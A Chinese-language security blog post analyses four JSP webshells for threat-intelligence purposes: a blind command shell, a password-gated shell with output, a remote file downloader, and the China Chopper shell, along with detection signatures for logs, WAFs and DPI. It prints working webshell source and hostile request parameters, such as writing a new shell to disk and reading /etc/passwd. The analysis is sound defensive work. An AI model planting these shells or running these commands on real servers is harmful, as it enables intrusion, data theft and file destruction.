几种典型 JSP WebShell 的深度解析
前言
对于一条威胁情报信息,我们需要分析该攻击的指纹信息、相关攻击工具、属于哪个组织、相关历史事件、历史相关攻击源IP等信息。通过这些信息进行关联分析,找到攻击来源。并根据攻击组织或个人的攻击偏好,做出相应的安全防护及进一步追踪溯源。
本文分析 Jsp WebShell 样本是通用型的,不需关注制作者是谁。但需要分析该 WebShell 的指纹、利用方式、相关工具等信息。
正文
环境搭建:
-
VMware + Windows XP iso + JspStudy / (Tomcat + JDK 1.7 + Mysql ),XP 设置桥接模式+虚拟机内配置 IPv4 与本机相同 C 段 IP。
-
创建相关 WebShell 文件,使用 JspStudy 方式搭建环境,文件置于 JspStudy \ WWW 目录下。使用 Tomcat + JDK 1.7 + Mysql 方式,将文件置于 apache-tomcat-7.0.82 \ webapps \ ROOT 目录下。
本文将分析 4 个典型的JSP WebShell。分别是:
(1) 无回显执行命令
(2) 有回显带密码验证
(3) 远程执行下载文件
(4) 菜刀型 WebShell
1.无回显执行命令的WebShell
代码如下:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
打开 FireFox,连接该 WebShell页面显示空。使用 hackbar 执行指令:
执行成功,创建 c.txt
文件:
1.1 代码分析
Runtime.getRuntime().exec()
方法是 Java 中用于执行外部的程序或命令的函数。 Runtime.getRuntime().exec
共有六个重载方法,此次实验,我们使用第一个重载方法,仅传入字符串型指令。
request.getParameter("i")
方法是获取 URL 中传入的参数的值。方法中已指定参数 i
,因此只接受参数 i=xxxx
。
根据代码分析,可以得知该 WebShell 功能为执行系统命令,无输出内容显示。权限为 Administrator。
1.2 特征分析
该 WebShell 只能执行系统命令,且无法在页面显示。因此当攻击者使用该 WebShell 时,Web 日志、Waf 及 DPI 等设备将会发现攻击者GET/POST请求该 URL,并且传入系统命令。
下面是在不同操作系统中利用该WebShell执行系统命令的例子,基于该行为特征,在日志中可发现该类型的 JSP WebShell。 Windows系统请求参数:
- cmd /c echo xxxx(WebShell代码)>shell.jsp
Linux系统请求参数:
- cat /etc/passwd >1.txt(网页访问该文件,得到账户密码)
2.有回显带密码验证
代码如下:
<% if("023".equals(request.getParameter("pwd"))) { java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>"); } %>
连接 WebShell,使用密码 023
及指令 ipconfig
。页面回显出执行命令后的结果:
2.1 代码分析:
密码为 023
,通过获取传入的 pwd
参数的值。使用 equals
方法进行比较:
"023".equals(request.getParameter("pwd"))
执行i参数传入的指令,将会返回数据。通过 getInputStream()
方法获取数据的字节流:
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
创建字节数组,用于存储字节数据。且该数组大小为 2048 字节:
byte[] b = new byte[2048];
while
循环中,不断的读取之前返回的字节流。每次读取一个字节,并转换为 string
类型输出,直到 in.read()
读取完所有数据返回结果为 -1。为了能在浏览器页面显示,使用 HTML
标签 <pre></pre>
包含数据:
out.print("<pre>"); while((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>");
2.2 特征分析
对比上一个 WebShell,多了回显功能及密码验证功能。该 WebShell 的利用需传入密码及系统命令两个参数。因此,Web 日志、Waf 及 DPI 等设备将会发现攻击者GET/POST访问该 URL,只传入密码和系统命令。 基于该行为特征,在日志中可发现该类型的 JSP WebShell。不仅能发现连接密码,同时可发现攻击者执行的系统命令。下面是执行系统命令的例子:
Windows系统请求参数:
- cmd /c echo xxxx(WebShell代码)>shell.jsp
Linux系统请求参数:
- cat /etc/passwd >1.txt(网页访问该文件,得到账户密码)
3.远程执行下载文件
代码如下:
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
该 WebShell 只有下载文件的功能,无法执行系统命令。传入文件名称和文件下载 URL,连接该 WebShell:
下载完成之后,在当前路径下生成 1.png
文件:
3.1 代码分析:
获取参数 u
的值,打开该 URL 获取字节流:
java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();
创建字节流数组,用于存入下载文件的字节流数据:
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
将字节流数据写入字节流数组中:
while ((a = in.read(b)) != -1) { baos.write(b, 0, a); }
因为 getRealPath("/")
,传入路径为 "/"
。获取当前 WebShell 所在文件夹的绝对路径。若文件夹外并不存在参数f所传入的文件名,则创建该文件,并写入字节流数组数据:
new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());
3.2 特征分析:
通过 WebShell 检测工具 D 盾对该 WebShell 进行检测,发现检测正常:
此类 WebShell 的主要功能为下载文件,并且在浏览器页面没有回显。主要存在于 Windows 系统的服务器中。通过 Web 日志及 DPI 等防护设备,可发现攻击者GET/POST访问的 jsp 路径后面包含其他 URL,且通过该 URL 可下载文件。
4.菜刀型WebShell
该 WebShell 网上随处可见,可以很容易找到。代码较多,刚开始看的时候,能看明白各个函数的作用。却没法梳理出一个大体的利用流程。因此使用了一个很重要的分析工具 WireShark。
4.1 代码分析:
4.1.1文件操作
导入程序中需要用到的包,包含所需的功能:
<% @page import = "java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" %>
登陆连接 定义密码:
String Pwd = "PW";
使用菜刀工具,登录 WebShell 并使用 WireShark 抓取。WireShark 过滤条件为 ip.addr == 192.168.xxx.xxx(所配置的虚拟机IP地址) and http
。
从抓取的流量中可以得到两个参数 PW=A,z0=GB2312
。 z0
的值代表字体格式,那么 PW
的值可能为判断条件。 查看源代码,找到与 PW
参数的值相关的运行代码:
String cs = request.getParameter("z0") + ""; request.setCharacterEncoding(cs); response.setContentType("text/html;charset=" + cs); String Z = EC(request.getParameter(Pwd) + "", cs); String z1 = EC(request.getParameter("z1") + "", cs); String z2 = EC(request.getParameter("z2") + "", cs); StringBuffer sb = new StringBuffer(""); try { sb.append("->" + "|"); if (Z.equals("A")) { String s = new File(application.getRealPath(request.getRequestURI())).getParent(); sb.append(s + "\t"); if (!s.substring(0, 1).equals("/")) { AA(sb); } } }
1) 上述代码中, Pwd="PW",cs= "GB2312"
,因此 Z="A"
:
String Z = EC(request.getParameter(Pwd) + "", cs);
2) 获取当前页面所在服务器的绝对路径:
String s = new File(application.getRealPath(request.getRequestURI())).getParent();
3) 判断当前路径字符串第一个字符是否为 "/"
,若不是则调用方法 AA()
:
if (!s.substring(0, 1).equals("/"))
4) AA()
方法中, File.listRoots()
首先获取所有可用的文件系统的根目录对象的数组。并通过 StringBuffer的append()
将数组追加,转换为字符串类型。
void AA(StringBuffer sb) throws Exception { File r[] = File.listRoots(); for (int i = 0; i < r.length; i++) { sb.append(r[i].toString().substring(0, 2)); } }
5)最后输出 out.print(sb.toString());
即输出 "C: D:"
,并在菜刀界面显示:
打开C盘查看C盘目录下的文件:
根据 PW="B"
,找到判断条件:
else if (Z.equals("B")) { BB(z1, sb); }
查看方法 BB()
:
void BB(String s, StringBuffer sb) throws Exception { File oF = new File(s), l[] = oF.listFiles(); String sT, sQ, sF = ""; java.util.Date dt; SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); for (int i = 0; i < l.length; i++) { dt = new java.util.Date(l[i].lastModified()); sT = fm.format(dt); sQ = l[i].canRead() ? "R" : ""; sQ += l[i].canWrite() ? " W" : ""; if (l[i].isDirectory()) { sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"); } else { sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; } } sb.append(sF); }
1) 读取盘下所有文件:
l[] = oF.listFiles();
2) 定义文件修改时间的格式:
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
3) 获取第i个文件的最新修改时间:
new java.util.Date(l[i].lastModified());
4) 对文件的读写进行判断,并增加标识:
sQ = l[i].canRead() ? "R" : ""; sQ += l[i].canWrite() ? "W" : "";
5) 判断是否为文件夹,若是,则增加一个文件夹标识 "/\t"
。若不是,则获取文件名并追加到字符串后面:
if (l[i].isDirectory()) { sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"); } else { sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; }
6) 最后返回多行字符串,代表每个文件或文件夹所处的位置:
打开文本文件 得到 PW="C"
及 z1
中显示所操作文件的路径:
1) 查看C对应执行的代码:
else if (Z.equals("C")) { String l = ""; BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1)))); while ((l = br.readLine()) != null) { sb.append(l + "\r\n"); } br.close(); }
2) 下面代码实现读取当前文件的内容,并读取每行数据追加到字符串后门:
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));` while ((l = br.readLine()) != null) { sb.append(l + "\r\n"); }
修改文本文件
根据之前的规律,找到修改文件时调用的程序代码:
else if (Z.equals("D")) { BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1)))); bw.write(z2); bw.close(); sb.append("1"); }
1) 利用缓冲字符流打开文本文件:
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
2) 向文本文件写入修改的部分: bw.write(z2);
。
删除文件
1) 找到具有删除功能的程序代码
else if (Z.equals("E")) { EE(z1); sb.append("1"); }
2) 调用方法 EE()
:
void EE(String s) throws Exception { File f = new File(s); if (f.isDirectory()) { File x[] = f.listFiles(); for (int k = 0; k < x.length; k++) { if (!x[k].delete()) { EE(x[k].getPath()); } } } f.delete(); }
3) 如果删除的文件为一个文件夹,则递归删除文件夹内所有文件。若非文件夹,则直接删除:
if (f.isDirectory()) { File x[] = f.listFiles(); for (int k = 0; k < x.length; k++) { if (!x[k].delete()) { EE(x[k].getPath()); } } } f.delete();
4.1.2命令执行
CMD 指令,输入 ipconfig
。返回内容较少是因为组设置大小为 1024 字节:
1) 查看抓取的流量数据:
2) 获取参数: W = M,z0 = GB2312,z1 = /ccmd,z2=cd /d "C:\apache-tomcat-7.0.82-windows-x86\apache-tomcat-7.0.82\webapps\ROOT\2\"&ipconfig&echo [S]&cd&echo [E]
。
3) 该操作执行下面代码:
else if (Z.equals("M")) { String[] c = { z1.substring(2), z1.substring(0, 2), z2 }; Process p = Runtime.getRuntime().exec(c); MM(p.getInputStream(), sb); MM(p.getErrorStream(), sb); }
4) 调用 MM
方法:
void MM(InputStream is, StringBuffer sb) throws Exception { String l; BufferedReader br = new BufferedReader(new InputStreamReader(is)); while ((l = br.readLine()) != null) { sb.append(l + "\r\n"); } }
5) 执行上述字符串数组 c
, c
为 cmd /c z2
:
Process p = Runtime.getRuntime().exec(c);
6) 将字节流数据转换为缓冲字符流,并追加到字符串后面:
BufferedReader br = new BufferedReader(new InputStreamReader(is)); while ((l = br.readLine()) != null) { sb.append(l + "\r\n"); }
4.1.3数据库操作
对数据库的操作的相关代码是 Java 对数据库执行 CRUD 操作的代码。因此该操作只分析登录数据库时的代码。连接数据库需提前知道数据库的账户和密码。抓取菜刀进行数据库操作的流量,本次登录的是 mysql 数据库:
参数 z1
传入的是 Java 连接数据库是使用的 API,即 JDBC:
z1 = com.mysql.jdbc.Driver jdbc:mysql://localhost/test?user=root&password=123456
执行数据库登录的相关代码如下:
else if (Z.equals("N")) { NN(z1, sb); }
1) 调用 NN
方法:
void NN(String s, StringBuffer sb) throws Exception { Connection c = GC(s); ResultSet r = c.getMetaData().getCatalogs(); while (r.next()) { sb.append(r.getString(1) + "\t"); } r.close(); c.close(); }
2) 连接数据库,返回 connect 接口:
Connection c = GC(s);
3) 获取数据库数据,从中获取数据库名称列表:
ResultSet r = c.getMetaData().getCatalogs();
4) 循环读取下一个名称,追加到字符串中:
while (r.next()) { sb.append(r.getString(1) + "\t"); }
4.1.4 代码执行过程
经过分析,对菜刀 JSP WebShell 代码的整体执行过程有了大致的了解:
<% @page import = "java.io.*,java.util.*,java.net.*,java.sql.*,java.text.* ......." %> <% ! 定义变量 Pwd....//登录密码 定义函数AA()、BB()、CC()...... %> <% ...... request.getParameter("z0")//获取参数Pwd,z0,z1,z2..... ..... String Z= EC(request.getParameter(Pwd)+””,cs); if (Z.equals("A")) { AA(相关参数) } else if(Z.equals("B")) { BB(相关参数) } else if(Z.equals("C")) { CC(相关参数) } ....... 输出字符串 %>
流程图如下:
4.2 特征分析
根据抓取的流量显示,对 WebShell 所做的操作的结果,都会以字符串的形式返回给菜刀进行处理,并显示出来。字符串形式为 "->|xxxx|<-"
,为菜刀 WebShell 的特征字符。若发现成功利用菜刀 WebShell 的行为,基于该特征字符,将会在 DPI 中发现此类攻击事件。
同时,该 WebShell 对数据库的操作,需要知道目标主机数据库的账户和密码。如果发现成功访问数据库的流量数据,则说明该主机数据库信息已泄露。攻击者在此之前利用了 sql 注入、社工、爆破等渗透方式进行了入侵。需通过历史事件中对可疑攻击进行关联分析。
5 总结
通过对 WebShell 代码的分析,可以深入了解其功能和特征信息,有利于我们对攻击来源和意图有更好的理解。仅通过攻击结果来分析问题,会忽略很多重要信息,无法准确描绘出黑客画像。
以上是我在实习期间的一些感悟,后期我会不断把自己的研究成果分享出来。谢谢各位!